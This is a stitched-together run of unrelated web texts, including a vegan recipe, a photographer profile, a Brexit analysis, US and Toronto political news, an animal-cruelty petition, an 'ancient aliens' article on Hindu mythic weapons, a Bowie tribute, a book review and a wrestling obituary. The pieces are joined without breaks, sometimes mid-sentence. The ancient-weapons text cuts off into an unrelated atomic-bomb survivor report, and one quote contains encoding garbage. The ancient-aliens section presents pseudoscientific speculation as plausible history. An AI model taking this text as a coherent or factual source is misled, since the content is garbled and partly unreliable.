1 C Vegetable Broth organic, low-sodium if you can find it
1 tsp Cornstarch
1/3 C So Delicious Dairy Free Coconut Creamer
3 Tbl freshly squeezed Lemon Juice
1/2 tsp Salt
1/8 tsp Pepper
dash of ground Red Pepper
1/4 C vegan Parmesan
Lemon slices for serving
Parsley to garnish Instructions Cook pasta according to package instructions.
In a saute pan over medium high heat, melt the margarine and add the minced shallot. You could also add a bit of garlic here, I'm just not a huge fan 😉 Saute until slightly translucent.
Steam the asparagus (or use a microwavable steamed asparagus).
Combine the broth and cornstarch, mixing well. Add to the pan and bring to a boil. Continue to cook until thickened. Stir constantly.
Stir in the cream, lemon juice, salt, pepper and red pepper.
Remove from the heat and add the peas. Cook for a minute or two and add the steamed asparagus.
Drain the pasta and add to the sauce. Stir gently to combine.
Add the parmesan and parsley.Muhammed Muheisen, 30, the chief photographer in Pakistan for The Associated Press, has been taking pictures for a decade. His work has been included in Pictures of the Day more than 80 times since the Lens blog began in 2009. But it wasn’t until last year that Mr. Muheisen felt as if he’d truly found his footing in photography, when he took to the streets in search of scenes of daily life.
His images are often quiet. Soft. Filled with emotion. They tend to focus on one individual, like the young student in Rawalpindi (Slide 2). They can be sad, but often they have a touch of humor. With unexpected bursts of color, they paint a different picture of a country so often seen in terms of conflict.
As a wire photographer, Mr. Muheisen doesn’t always have the luxury of shooting quiet moments. On June 12, the day before we spoke, he covered an explosion in Peshawar. But the more time he spends in Pakistan, and the more deeply he understands the culture, the more important it is to him to try shaping the photography that comes out of the country.
Muhammed Muheisen/Associated Press
He is the first to acknowledge that the “bloody image” often predominates in coverage of Pakistan, and that his quest for something different provoked skepticism among other photographers at first. Even he was unsure. But then the offbeat images began making it into print. The arc of the story changed.
There is pressure in having to depict daily life on a daily basis. “You could spend 10 hours driving and come back with nothing,” Mr. Muheisen said.
But the moment he heads outside to shoot, he forgets about everything else. “I remember that I’m looking for a nice picture,” he said. “When I have my picture, I forget everything. It’s part of you.”By now the unthinkable has happened twice: not only have the British voted to leave the European Union, but their vote has been set aside to open the negotiation of a new UK-EU deal.
Paradoxically this might be less favourable to British interests than the renegotiation agreement that would have governed UK-EU relationship in case of a Remain vote. Despite the clear outcome of the EU referendum, few people in the UK seem ready to transform the popular vote into action by triggering the procedure of withdrawal foreseen by the Treaty. Amid the first severe economic, financial and monetary consequences of the vote, there is little appetite to pursue a British exit of the European Union.
Virtually all proposals currently circulating lack a basic understanding of both the hows and whats of a new UK-EU agreement.
First, “no notification no negotiation”, said President Juncker before the European Parliament in the post-Brexit debate, and this principle was confirmed by the Britainless EU Council on 29 June. In other words, unless the UK triggers Article 50 TEU, entailing its withdrawal from the EU, the EU and its member states won’t open the negotiations.
Indeed, even after the triggering of the withdrawal procedure, there is no legal obligation for the remaining EU to either amend the Treaty under Article 48 to accommodate UK new demands or to sign a new trade agreement with the UK. But let’s assume (as does Article 50 itself) that the withdrawal of the UK from the EU will entail the conclusion of a “framework for its future relationship with the Union”.
A panoply of models of economic integration have been invoked thus far. Should a Norway, Norway-plus, a Turkey Custom Union model or the “bilaterals” with Switzerland be followed? Even the recent EU trade agreements with Canada and Singapore have been invoked as possible sources of inspiration.
The truth is that there is only a limited number of models for the UK to follow. Among those, the only one that could meet the Brexiters’ demand – to benefit from access to the internal market while being outside the EU – is that provided by the European Economic Area, also referred to as the Norway model. This 1994 international agreement, which today binds the EU and its members, including the UK, to three EFTA countries – Iceland, Liechtenstein and Norway – creates an internal market for the resulting 31 countries.
The entry ticket into the EEA is, however, pricey. First, the UK would be required to systematically accept EU legislations, without having the chance to take part in their policy formulation. Second, the UK would have to continue paying into the EU budget (as Norway, Iceland and Liechtenstein do). Third, the UK would remain subject to the jurisdiction of a supranational court, the EFTA Court, which – by virtue of the principle of homogeneity – is bound to the case law developed by the EU court.
Last but not least, the UK would have to guarantee not only the free movement of goods, services and capital but also that of people, throughout the 31 EEA states.
Given the negative sentiment towards free movement among supporters of the Leave campaign, one may wonder how the UK will be able to depart from those rules within the EEA. While it is true that the EEA – unlike the EU – provides a safeguard clause allowing its members to suspend some obligations, the very same clause permits the other parties to retaliate.
So, should the UK suspend the free movement of EU citizens, the EU could remove tariff preferences for UK products, such as cars, to the EU or limit EU market access for its financial services. This explains why today’s calls refer to a “Norway plus” model. Although largely unqualified, this new arrangement, by renegotiating the “free movement of persons” chapter (as the Swiss tried to in the past), would aim to further the margin of manoeuvre of the UK within the EEA.
Paradoxically, by entailing the loss of voting rights in the EU, such a “Norway plus” model would represent a worse deal than the one negotiated by UK Prime Minister David Cameron last February. While Cameron’s renegotiation deal would preserve full access to the internal market and voting rights, the one pursued by the Brexiters would free the UK from the Brussels bureaucracy and perhaps allow them to partly control EU migration. That is the trade-off ahead of the forthcoming UK-EU deal.
But that’s not all. The Norway option is not a given for the UK. Following its withdrawal from the EU, the UK membership to the EEA would cease to exist. Indeed, when Austria joined the EU in 1995, it lost EFTA membership, but became an EEA member again because of its newly acquired EU membership. This explains why for the UK to join the EEA does not only presuppose withdrawing from the EU, but also joining the EFTA, which requires the unanimity vote of its existing four countries, including Switzerland. Only then could the UK become part of the EEA again, but for that it will need to obtain not only the unanimity vote of its 30 relevant countries but also that of the European Parliament.Warren cut off for reading Coretta Scott King Letter at Sessions debate 9:48 AM ET Wed, 8 Feb 2017 | 00:34
The confirmation vote follows a marathon few days in which Democrats mounted last-second opposition to both Sessions and Education Secretary Betsy DeVos, who was confirmed on Tuesday. Vice President Mike Pence cast a tie-breaking vote to confirm her 51-50, becoming the first vice president to do so in a Cabinet confirmation vote.
The tension in the Senate over Trump's Cabinet nominees boiled over late Tuesday when Sen. Elizabeth Warren, D-Mass., tried to read a 1986 letter by the widow of Martin Luther King Jr. criticizing Sessions. Coretta Scott King raised concerns about Sessions' history and qualifications during the confirmation process for a federal judgeship, which he did not get.
Senate Republicans rebuked Warren, cutting her off from debate, for attempting to read the letter. They invoked a rule aiming to bar senators from impugning their colleagues.
Democrats rallied around Warren, and several other Democratic senators read the letter Wednesday without GOP objection. Senate Majority Leader Mitch McConnell, R-Ky., defended the decision.
"Sen. Warren was giving a lengthy speech. She had appeared to violate the rule. She was warned. She was given an explanation. Nevertheless, she persisted," McConnell said.
Warren told MSNBC on Wednesday that Democrats lacked numbers to block Sessions. But she added that "we are the party of opposition, and that is our job" to oppose him.
Sessions' confirmation process proved divisive well before the confirmation vote. Sen. Cory Booker, D-N.J., testified against Sessions during his confirmation hearing, becoming the first senator to do so against a colleague.
Sessions is the eighth Trump Cabinet member confirmed so far, a slower pace than in many past confirmation processes. Democrats have criticized the quality of Trump's nominees and at times said that they slowed down votes to ensure that his picks, many of them wealthy, get proper ethics vetting.
Trump has repeatedly blasted Democrats for what he calls obstruction of his nominations.Toronto residential property taxes will rise by 4 per cent in 2009 - an increase of $89 on a home assessed at $387,000, according to the budget unveiled this morning. Under the $8.7 billion budget proposal, the total take from property taxes will rise by 2.5 per cent. But in keeping with the city's long-term policy of easing business property tax rates, homeowners pick up a greater share of the increase.
As part of his budget plan, Mayor David Miller has announced enhanced programs to help unemployed and low-income residents. (February 9, 2009)
Mayor David Miller said the increase amounts to 25 cents a day. Councillor Shelley Carroll, the city's budget chief, said there are "no major service reductions" contemplated in the budget plan. Some user fees on recreation programs will also increase. But the land transfer tax and the vehicle tax will not increase, Miller said.
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Miller said higher costs for transit, policing, snow clearance and welfare are the main factors driving the city's costs up. The city managed to find $100 million in cost savings to offset the higher spending, he said. Miller said that programs to cancel or defer tax increases for low-income earners and seniors will be expanded. That means another 22,000 families will qualify for assistance, Miller said. But he said the city can still manage to pay its bills. "We are introducing our second consecutive budget balanced at its inception," Miller said. The budget committee will hold public hearings on the budget Feb. 18 - next Wednesday. The committee will also accept written briefs.
Seven councilors who form the core of Miller's opposition on council disputed the mayor's claim that the budget will raise taxes by 4 per cent. Asked why the city is raising taxes during a recession, Miller said the city isn't legally permitted to run an operating deficit. That's in contrast to the federal government, which can run a deficit to stimulate the economy during downturns.
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The city, meanwhile, is boosting taxes about $89 per household.Stop Adel Abdessemed's Exhibition in Mathaf
Aisha A. started this petition to H.E Sheikha Al Mayassa bint Hamad bin Khalifa Al Thani, QMA Chairperson, H.E Sheikh Hassan bin Mohamed bin Ali Al Thani, QMA Vice Chairperson started this petition to
The Qatari Museum Mathaf displays an exhibition by the artist Adel Abdessemed which depicts outrageous acts of animal cruelty. The exhibition is live now in Mathaf, QF and is scheduled to stay until January 2014. We want it closed now!
Along with a variety of other elements, the show includes a series of video loops of animals being burnt alive. Some of his other pieces include a video of animals being bludgeoned to death with a sledgehammer blow on the head in front of a brick wall. The animals killed include a pig, goat, deer, ox, horse and sheep.
Abdessemed issued a statement in response but refused to justify, excuse or contextualize the killings, instead declaring his commitment to preserve the status of “an act of slaughter,” full stop, “without spectacularization and without dramatization.”
We, Qataris and residents of Qatar, are outraged and shocked at the fact that our modern art museum, the until now respected Mathaf, promotes these violent and tasteless works that have nothing to do with real art and creativity, and we demand the exhibition to be cancelled and the directors responsible fired!
Some of his other disturbing work:
- Adel traps animals in a pen, including pit bulls and roosters, and causes them to rip each other apart. The film is titled "Usine" was featured in May 2009 at a New York exhibit
- snakes and frogs kill each other on camera (in “Usine” or “Factory,” from 2008);
- a piglet eagerly nurses at a woman’s breast (“Lise,” 2011);
The directors responsible:
- Edward Dolman, QMA Executive Director & Acting CEO
- Abdellah Karroum, Mathaf Director
If you are outraged, too, you can voice your opinion here:
Mathaf FB page:
https://www.facebook.com/MathafModern
Twitter FB page:
https://twitter.com/mathafmodern
FB page for the campaign:
https://www.facebook.com/pages/Stop-Adel-Abdessemed-and-Mathafs-Animal-Cruelty/468175103298693Ancient texts describe powerful weapons that the gods used on Earth thousands—even perhaps tens of thousands—of years ago. “…An incandescent column of smoke and flame, as bright as ten thousand suns, rose in all its splendor. It was an unknown weapon and iron thunderbolt, a gigantic messenger of death, which reduced to ashes the entire race…”
When we take a look at history and read through the countless ancient texts left behind by different civilizations across the planet, we notice a great amount of information, mentioning the Gods—who descended from heaven—who brought to Earth powerful weapons, unlike anything the ancients had ever seen.
But where these ‘ancient weapons’ just part of folklore and myths? What if these ancient texts did not describe myth and legends, but actual weapons, brought by advanced alien civilizations who were misinterpreted as gods?
Curiously, a recent study— titled ‘Prior Indigenous Technological Species’—presented by Jason Wright, assistant professor of astrophysics and astronomy of the Pennsylvania State University suggests our planet, and other celestial bodies in our solar system may have been inhabited, in the distant past by Ancient Aliens. Professor Wright suggests that extraterrestrial technosignatures might be expected to be extremely old, limiting the places they might still be found to beneath the surfaces of Mars and the Moon, or in the outer Solar System.
If we take a look at ancient Greek and Hindu mythology, the weapons of the gods were a profound and deadly tool, capable of capable of incinerating enemies and leveling entire civilizations.
Created by the ancient Hindu God Vishnu was the Narayanastra—the personal weapon of Lord Vishnu.
This Astra (“weapon” in Sanskrit) in turn fires a powerful tirade of millions of deadly missiles simultaneously. The intensity of the shower rises with an increase in resistance. The only way of defense towards this missile is to show total submission before the missiles hit. This, in turn, will cause this weapon to stop and spare the target.
Interestingly, this weapon could only be used ONCE, if one tries to use it twice, then it would devour the user’s own army.
Forged by Lord Brahma was the Brahmastra. This ferocious weapon is described in a number of purana—a vast genre of Indian literature about a wide range of topics—as a very destructive weapon. It is said that when the Brahmastra was discharged, there was neither a counterattack nor a defense that could stop it.
The Brahmastra never missed its mark and had to be used with very specific intent against an individual enemy or army, as the target would face complete annihilation
However, perhaps the most important detail about the Brahmastra was its collateral damage. According to ancient texts, the land where the weapon was used became BARRED, and all life in and around it would CEASE to exist. Men and woman exposed to it became infertile. After the weapon was used, rainfall would decrease and the land would develop cracks.
https://www.youtube.com/watch?v=59ympSXy348
In fact, the Brahmastra is mentioned in the epics and Vedas as a weapon of last resort and was never to be used in combat.
In the ancient Mahabharata, this weapon is said to be a single projectile charged with all the power of the universe.
An evolution of this terrifying weapon is the Brahmashirsha Astra. The Brahmashirsha Astra is said to be four times stronger than the Brahmastra. In the Mahabharata, it is explained that when this weapon was invoked there would be flames, thunder, and a thousand meteors would fall, accompanied by a great din and a trembling of the earth.
Another terrible weapon—said to leave behind apocalyptic scenarios—was the Pashupatastra. Pashupatastra is the most destructive, powerful, irresistible weapon of all the weapons mentioned in the Hindu mythology. This terrible ancient weapon is said to be capable of destroying and vanquishing ALL life.
A Narrative from Kisari Mohan Ganguli translation of Mahabharata regarding the power of Pashupatastra:
O thou of mighty arms, that weapon (Pashupatastra) is superior to the Brahma, the Narayana, the Indra, the Agneya, and the Varuna weapons. Verily, it is capable of neutralizing every other weapon in the universe. It was with that weapon that the illustrious Mahadeva had in days of yore, burnt and consumed in a moment the triple city of the Asuras. With the greatest ease, Mahadeva, using that single arrow, achieved that feat. That weapon, shot by Mahadeva’s arms, can, without doubt, consume in half the time taken up by a twinkling of the eyes the entire universe with all its mobile and immobile creatures. In the universe, there is no being including even the deities that are incapable of being slain by that weapon.
Looking at the translated version of the Mahabharata, many agree that it evidently describes how ‘Gods’ used advanced weapons on Earth tens of thousands of years ago. The catastrophic events that rocked the continents are described in the following way:
Gurkha, flying a swift and powerful Vimana, hurled a single projectile charged with all the power of the Universe. An incandescent column of smoke and flame, as bright as ten thousand suns, rose in all its splendor. It was an unknown weapon and iron thunderbolt, a gigantic messenger of death, which reduced to ashes the entire race of the Vrishnis and Andhakas.
The corpses were so burned as to be unrecognizable. Their hair and nails fell out. Pottery broke without any |
it was bombed on 9 August (1945).
He said he hoped his experience held a lesson of peace for future generations.
Last month, Avatar director James Cameron visited Yamaguchi. Cameron is considering making a film of an upcoming book by Charles Pelegrino, The Last Train From Hiroshima: The Survivors Look Back.
After meeting with Cameron and Pellegrino, Yamaguchi told The Mainichi Daily News that he believed it is the director's "destiny" to make a film about the bombings.
Update at 2:25 p.m. ET. A few minutes ago, All Things Considered co-host Melissa Block spoke with Pellegrino. He read a passage from his upcoming book, describing what happened to Yamaguchi in Hiroshima. Yamaguchi felt "like a leaf on the wind" after being picked up and carried on a "cushion of air and rushing dust":
Japan's Only Known Survivor Of Both Atomic Blasts Has Died Listen
Yamaguchi survived the second blast because of a stairwell in his office building, Pellegrino says.
Much more from Melissa's interview of the author will be on today's edition of ATC. Click here to find an NPR station near you that broadcasts the show. Later, the show's piece will be posted here.Poodle Drops From The Sky In Canada
Um… WHAT?
A tiny poodle survived a horrific fall after crash landing on the yard of a nursing home in Canada.
The dog was taken into the sky by an eagle trying to eat it. The dog (named May) must have fought it’s way out of the bird’s claws before taking the dive.
Doctors suspect May, who is about six years old, was a stray because her nails were overgrown and her teeth were severely decayed.
“We don├óΓé¼Γäót know how long she had been wandering without care but she was obviously very neglected. It├óΓé¼Γäós ironic, but this bird may have saved her life,”
British Columbia Society for Prevention of Cruelty to Animals manager Shannon Broderick said in a statement.
In other news: Who knew that eagles were so badass?
[Image via WENN.]David Bowie knew this was coming. Of course he did. How could he not? Bowie was dealing with cancer for a year and a half before he died; he had plenty of time to make preparations. More than that, though, Bowie has been thinking about death — his and others’ — for his entire career. It’s always been as present in his music as sex and drugs, and those three things may have always been indivisible for him.
Bowie’s first iconic song was “Space Oddity,” released when he was 22 and written from the perspective of an astronaut who knows he’s about to die. Bowie’s Major Tom peacefully accepts that death. He finds stillness and wonder in it. There’s no longing in his voice, no regret. He accepts that death with a sort of zen calm, and he figures it out long before ground control does. His last lines: “I think my spaceship knows which way to go / Tell my wife I love her very much, she knows.” It’s only after he says that that ground control realizes that “something’s wrong.” That’s a literal interpretation, of course. The song was about heroin as much as anything, and Bowie made that connection concrete when he sang, “We know Major Tom’s a junkie” on “Ashes To Ashes” more than a decade later. But even with that in mind, it doesn’t change the song’s sweet embrace of oblivion, its resignation about things ending.
Bowie’s first iconic album was Ziggy Stardust And The Spiders From Mars, and that album began with “Five Years,” another song about accepting the inevitable. In the song, for reasons unspecified, the world has learned that it has five years left before it ends. Civilization gets a good, long look at its impending death, and it freaks the fuck out: “A soldier with a broken arm fixed his stare to the wheels of a Cadillac / A cop knelt and kissed the feet of a priest, and a queer threw up at the sight of that.” Bowie, or Ziggy, or whatever character whose perspective he’s using, doesn’t feel much better about it. His head hurts, he thinks about everything he wants to cram into his brain, he wants to get back to his mother. But one person seems completely at peace with the apocalypse, and that person is “you”: “I think I saw you in an ice cream parlor, drinking milkshakes cold and long / Smiling and waving and looking so fine / Don’t think you knew you were in this song.” Even with the world falling apart around him, Bowie focuses on the one person who knows how to find peace in eternity, who doesn’t give a fuck.
Moments like these come back again and again over Bowie’s career. Sometimes, they’re explicit. Sometimes, they’re anything but. If so inclined, you could even hear something like “Warszawa,” the haunted near-instrumental that opens the second side of Low, as an example of Bowie staring hard into the void. He’s been doing this for forever, for longer than most of us have been alive. Back in 2012, rumors circulated that Bowie was at death’s door, that he could go at any minute. And for all we know, maybe he was. Bowie turned elusive and secretive in his final years. He stopped performing, and he stopped showing up to see every cool new band playing its first Bowery Ballroom show. He didn’t do interviews. For all we know, the cancer that finally killed him yesterday was a relapse of a cancer that almost killed him a few years ago. For a while there, I even entertained this weird fantasy that Bowie had already died and somehow kept it secret, that everything about The Next Day was some sort of beyond-the-grave transmission and Bowie had controlled the message by not letting his own death become a part of the narrative.
And all of that brings us to? (Blackstar), the album that Bowie released only two days before he finally left us. To hear Tony Visconti, Bowie’s longtime producer, tell it, Bowie knew very well that he was about to die, and he knew the album would be his final statement: “His death was no different from his life – a work of Art. He made Blackstar for us, his parting gift. I knew for a year this was the way it would be.” And so the album, which already sounded like a powerful statement when Bowie was still alive, takes on a totemic weight. It’s not just Bowie’s final statement. It’s Bowie’s statement on the finality of David Bowie.
We’re going to spend years figuring out what Bowie was telling us with this album. But certain things about Blackstar already seem stark and obvious in the wake of his passing. For one thing, the album’s catchiest song is named after Lazarus, the Biblical figure who rose from his grave. How could we not have seen that. Over a mournful fog of bass and brass, Bowie starts things off thus: “Look up here, I’m in heaven / I’ve got scars that can’t be seen / I’ve got drama, can’t be stolen / Everybody knows me now.” Then, later: “You know, I’ll be free / Just like the bluebird / Ain’t that just like me?” Well, yes, I suppose it is. Bowie grabbed ahold of his impending end, and he twisted it into a vast question mark. What a powerful, courageous way to look at the inevitable.
That quizzical courage is there, too, in the album’s title track: “Something happened on the day he died / Spirit rose a meter, then stepped aside / Somebody else took his place and bravely cried / I’m a blackstar! I’m a blackstar!” Bowie isn’t just talking about his own death. He’s talking about what happens after, about the people who will come along and do other things with his spirit, who will go on their own adventures. For anyone else, that sort of statement might be presumptuous. For Bowie, if anything, it’s an understatement. Nobody else in music history did what he did. Nobody has followed a freaky muse to as many places or made so many other people think that they could do the same. There will be more blackstars, and we have Bowie to thank for that.
Eight years ago, I worked for a music website that never launched. We had corporate backing and an editor with a very clear idea of what he wanted to do, and so we’d spend long and lazy pre-launch afternoons sitting around and being told the way things were going to be. One of those lazy afternoons, our boss ran an exercise. David Bowie had hypothetically died, he said. And here was how we were going to react. One writer would write the definitive obituary. Another would post up outside Bowie’s New York apartment building and record the scene. Another would get on the phone and get quotes from as many of Bowie’s peers and admirers as possible. (This was the moment before they’d all just jump on Twitter and Instagram.) Given all that, I should be more ready for Bowie’s death. After all, I ran it like it was a drill. But still, I’m not ready. Only one person was really, truly ready. And that person was David Bowie.Mind games: an image from Rob Davis's graphic novel The Complete Don Quixote
The Antinomies of Realism
Fredric Jameson
Verson, 432pp, £20
The Lives of the Novel: a History
Thomas G Pavel
Princeton University Press, 360pp, £24.95
The Novel: a Biography
Michael Schmidt
Harvard University Press, 1,200pp, £29.95
In the opening pages of his recent book The Antinomies of Realism, Fredric Jameson observes that when we try to fix the “phenomenon of realism” in our mind’s eye, it quickly starts to wobble. Instead of thinking about the thing itself, our attention slips in two opposite directions: towards realism’s emergence at one extreme, its dissolution at the other. Although Jameson omits to mention the various fine accounts of the novel’s robustly healthy 19th century – Lilian R Furst’s All Is True, Peter Brooks’s Realist Vision – his assessment is convincing.
There is a simple historical reason for these twinned concerns. Realism, a word used sporadically in the 19th century, became a dominant literary-historical term just as it became an outmoded style or genre. Critical interest in realism intensified at the same rate as practitioners’ disdain and both reached their peak in the mid-to-late 1950s. In 1957, to be precise, when Ian Watt published his account of 18th-century English fiction, The Rise of the Novel, which Jameson calls “canonical”, and when the journalist Émile Henriot, writing in Le Monde, christened the nouveau roman, or new novel – the movement whose lead spokesperson, Alain Robbe-Grillet, disputed the effectiveness of, in Jameson’s paraphrase, “Balzacian techniques for capturing our current realities”. As Watt described the birth pangs, Robbe-Grillet sounded the death knell. (After that point, suspicion of realism, often in reaction to Watt and in emulation of Robbe-Grillet, began to affect the academy, while novelists, often in reaction to anti-realist polemic, began to recognise its virtues again.)
Another factor, at once more technical and pragmatic, may have played a more decisive role. The rise of the realist novel is an origin story, a bit like Genesis or the Aeneid, with the part of Adam or Aeneas taken by a single author, perhaps Cervantes, or a small group of them (Watt chose three – Defoe, Richardson and Fielding). The fall of realism is a whodunnit: Joyce was spotted carrying something that looked like a razor and what about that long half-hour when Marcel nipped out for a madeleine?
By contrast, realism’s lifespan – from its noble ancestry in ancient Greece to the antics of its Oedipal inheritors, modernism and postmodernism – resembles a 50-episode miniseries with several thousand characters speaking half a dozen European languages on three or four continents across two and a half millennia. The story of realism, when told in any but the broadest terms, is the story of the novel itself. As Jameson writes, “Discussion of either concept tends to become indistinguishable.”
There are two potential methods of narrating this story: a fox way and a hedgehog way, both of them rife with problems. In his study of War and Peace, Isaiah Berlin adapted a fragment by the Greek poet Archilochus – “The fox knows many things, but the hedgehog knows one big thing” – to divide centripetal thinkers who “relate everything to a single central vision” and centrifugal thinkers who “pursue many ends, often unrelated and even contradictory”. If you credit the novel with a single vision – for example, “The novel traces man’s alienation from God” – a clean, forward-thrusting narrative may emerge but you will commit imprecisions on every page (quibbles of the “What about Jane Austen?” variety may prove hard to silence). But although writing novel-history in accordance with Virginia Woolf’s statement that there is “no such thing as the novel, only ‘novels’” might allow for greater nuance, readers will be too busy wading through the names and movements and titles to thank you for your rigour.
The poet and publisher Michael Schmidt, during the more than ten years he spent researching his hefty new book, lost his original title, Lives of the Novelists, to a book by John Sutherland and has plumped instead for The Novel: a Biography, which doesn’t wholly fit. Schmidt’s book starts off hedgehog-like, with apparent belief in a fabulating force called the novel, but ends up foxish – or Woolf-like – to the point of mania, like an Argos catalogue without the pictures.
Schmidt mostly confines his attention to the novel in English but that still proves too much to be getting on with. After he abandons narrative and chronology in chapter five (of 45), his only concessions to order are thematic chapters and the use of “practitioner-critics” as guides. But, in the absence of ideas about influence and tradition, how much guiding do they do? About as much as an echo chamber: “Poe admired Dickens.” “Sir Arthur Conan Doyle admired Meredith.” “Priestley admired Powys.” Schmidt sets great store by practitioner-critics’ opinions, less by their articulated insights. What matters is the thumbs-up, the Facebook “like”, especially when it comes from Anthony Burgess: “Anthony Burgess admired Riddley Walker.” “Anthony Burgess admired The Rebel Angels.” “Anthony Burgess admired The Vendor of Sweets.”
One of the few practitioner-critics we don’t hear much from is Schmidt himself. Mary McCarthy, Gore Vidal and Martin Amis may not much like Nabokov’s Ada – but what does he think? That he calls the book “playful but terrifying” doesn’t reveal much. (Does he really need J M Coetzee to tell us that Midnight’s Children “revolutionised the Indian-English novel”?)
Often, Schmidt’s two devices for making things clear – thematic groupings, artist-critic tour guides – gang up together to do the opposite. In the chapter “The Fate of Form”, not only do we strain to find the unstated connections between the various subjects – among them Henry James, Anthony Powell, Sinclair Lewis, Mrs Humphry Ward, Dorothy Richardson and C P Snow – but the section on James alone contains quotations from Borges, Edmund Wilson, James Thurber, Edith Wharton, Edwin Muir, Gore Vidal, David Lodge, T S Eliot, E M Forster, John Updike, Graham Greene, Willa Cather, Conrad, Raymond Chandler, Mary McCarthy, William Empson and Cynthia Ozick. In the prologue, Schmidt compares his cast of commentators to “an eccentric family” but it is the rare host who invites 18 members of his extended family for tea on the same afternoon.
Thomas G Pavel, a professor at the University of Chicago, is a different sort of critic from Schmidt, though he comes no closer to an adequate account of the novel with all his categories and subcategories, his “conceptual tools”, than Schmidt does with his scattergun. The Lives of the Novel: a History, the product of decades of teaching and reading, has been praised by James Wood as “the most interesting and subtle one-volume history of the novel currently available”. It is hard to know how great a compliment Wood intended, since one-volume histories of the novel are thin on the ground; with the possible exception of Margaret Anne Doody’s revisionist, anti-Watt doorstopper The True Story of the Novel, it is hard to think of a classic instance.
In any case, Pavel’s book isn’t a history but an idiosyncratic and aggressively anti-historical reading of the novel as a branch of moral philosophy – a serial portrait of the human being’s evolution from “strong soul” to “sensitive heart” to “enigmatic psyche” against a backdrop of change that is deemed irrelevant. Pavel ticks off Ian Watt for “overplaying social and cultural explanations [such as the emergence of bourgeois individualism] for artistic phenomena”. The counterargument offered here is that artistic genres “enjoy a qualified autonomy” from “the social and intellectual life of their time”, though you search in vain for qualifications, for any limits whatsoever on the novel’s freedom of movement.
In Pavel’s narrative, realism was a late-arriving aberration in the novel’s history. Until the 19th century, he writes, there were no detectable links “between the novel and specific political events” and even once the novel had discovered “society”, it still wasn’t terribly interested. As a result, he sidelines Émile Zola, the self-described literary “naturalist” who believed strongly in the formative effect of environment, but finds allies for his cause in Stendhal – who never wrote a literary manifesto and can therefore be said to have thought that “social customs” had no effect on “human nature” – and Thomas Hardy, whose novels “emphasise both life’s social dimension and the autonomy of the individual”.
In one staggeringly ill-informed moment, he writes that Jane Austen, a beneficiary of Regency nostalgia and contextual reading, only came into favour “once the strong, explicit emphasis on social and historical factors had lost some of its appeal”. Lacking any kind of supporting evidence – in some cases, it doesn’t exist – such assertions are themselves powerful evidence of the kind of corners the hedgehog necessarily cuts.
Fredric Jameson has his own ambitious answer as to why accounts of realism are always stories of birth or death. Put crudely (often unavoidable with this brilliant but challenging writer), the argument goes like this: realism was created by joining the “narrative impulse” that united all of the novel’s forebears (ballad, newspaper sketch, fairy tale, and so on) to a new mid-19th-century interest in evoking “affect”, or bodily sensation. In its desire to linger and inhabit an “eternal” or “existential” or “scenic” present, this impulse is in essential conflict with the relentless forward movement – the faith in “past-present-future” – on which the narrative depends.
For about 50 years, Jameson argues, narrative and affect remained perfectly at one. In the work of Tolstoy, for example, Jameson finds “no moments of the narrative which lack their dimension of affect, to the point at which one is tempted to say that these movements and variations are themselves the narrative”. But by the end of the 19th century, a break had occurred and the “serious” writer has had to keep faith with the one thing that survives the weakening of all the “joints and joists” of narrative: affect. This is why, Jameson writes, it is justified to talk constantly of “the emergence or the breakdown of realism and never about the thing itself, since we will always find ourselves describing a potential emergence or a potential breakdown”.
Taken on its own terms, The Antinomies of Realism is surely a failure. Although Jameson starts by setting out a single vision, he is soon too busy taking delight in his realists to stick to the master plan. Of Zola, embarking on his novel-sequence about the second French empire just before it fell apart, he writes: “Few writers... have had this kind of luck, where history obligingly redistributes your material for you in a more workable form.” Balzac, he claims, is “always remorseless towards his own characters... He has enough of them for the sympathies to go around, and if one falls short or goes to pieces, there will always be another one available.”
But Jameson’s disparate insights are neither united nor even enabled by his central thesis. Neither Zola’s fluke nor Balzac’s brusquerie rests on the theory of realism’s internal tensions, which, though fascinating, is full of holes. If discussions of realism and the novel tend to become indistinguishable, as Jameson claims, then how does his portrait of realism accommodate writers such as Cervantes (and, yes, Jane Austen) who not only wrote novels but practised something that many would call “realism” and did so before the “radical transformation of the experience of the body in the European 1840s” – before, in other words, the arrival of the force, affect, which Jameson claims created realism?
The hedgehog in Jameson serves to keep the book’s focus agreeably tight but the novel’s foxishness, which Jameson recognises and succumbs to, demands a focus as wide as the sky. Berlin wrote that Tolstoy’s gifts made him a fox no matter how hard he tried to play the hedgehog; with Jameson, it is the novel – and the curiosity the novel inspires in him – that overwhelms his genuine taste and talent for hedgehog thinking. The dialectical formula (thesis-antithesis-synthesis) suggests that there must exist a hedgehog-fox hybrid, a mode of thought that combines their strengths and cancels their vices, but The Antinomies of Realism shows the greatest dialectical thinker among living critics unable to locate it.
In his prologue, Jameson considers potential images for his desire to grasp the terminal points of realism “firmly at one and the same time” – negative and positive currents, the strands of DNA. Another springs no less quickly to the mind: the white whale.
Leo Robson is the lead fiction reviewer for the New StatesmanCLOSE Netflix summer hit "GLOW" wouldn't exist without Indianapolis native David McLane. David Lindquist / IndyStar
Manager fans loved to hate launched his career in Indianapolis
Buy Photo Before finding mainstream fame in the World Wrestling Federation (now known as WWE), Bobby Heenan worked for the Indianapolis-based World Wrestling Association. (Photo: IndyStar file photo)Buy Photo
Bobby Heenan, who elevated "bad guy" bluster to artistry for countless pro-wrestling matches, died Sunday at age 72.
Before Heenan became a mainstream star — accompanied by nicknames "The Brain" or "The Weasel" — in the 1980s World Wrestling Federation, he launched his career in Indianapolis.
Working with Dick "The Bruiser" Afflis from 1965 to 1974 in the Indianapolis-based World Wrestling Association, Heenan irritated crowds at Tyndall Armory, Bush Stadium, Indiana Farmers Coliseum, the Indiana Convention Center and Market Square Arena.
The WWE, formerly known as the World Wrestling Federation, announced Heenan's death. Deteriorating health had challenged Heenan since a 2002 diagnosis of throat cancer.
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As a wrestling manager, Heenan hyped a parade of A-list heels: Andre the Giant, Nick Bockwinkel, Blackjack Lanza, Big John Studd, King Kong Bundy, Mr. Perfect and more.
“I’ve been shot at and stabbed. I’ve had people throw rocks, batteries and cups of urine and beer at me," Heenan wrote in his 2002 book "Bobby the Brain: Wrestling's Bad Boy Tells All." "They even spit right in my face. That’s because they hated me. And I was good enough at what I did to make them do that.”
Born Raymond Heenan in Chicago, he moved to Indianapolis as an adolescent. His introduction to pro wrestling arrived in the early '60s, when he worked as a stagehand at Indiana Farmers Coliseum.
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In addition to being a manager, Heenan distinguished himself as a wrestler and TV commentator.
Indianapolis TV great David Letterman reminisced about wrestler Bobby "Pretty Boy" Heenan during a 1989 appearance on "Later with Bob Costas."
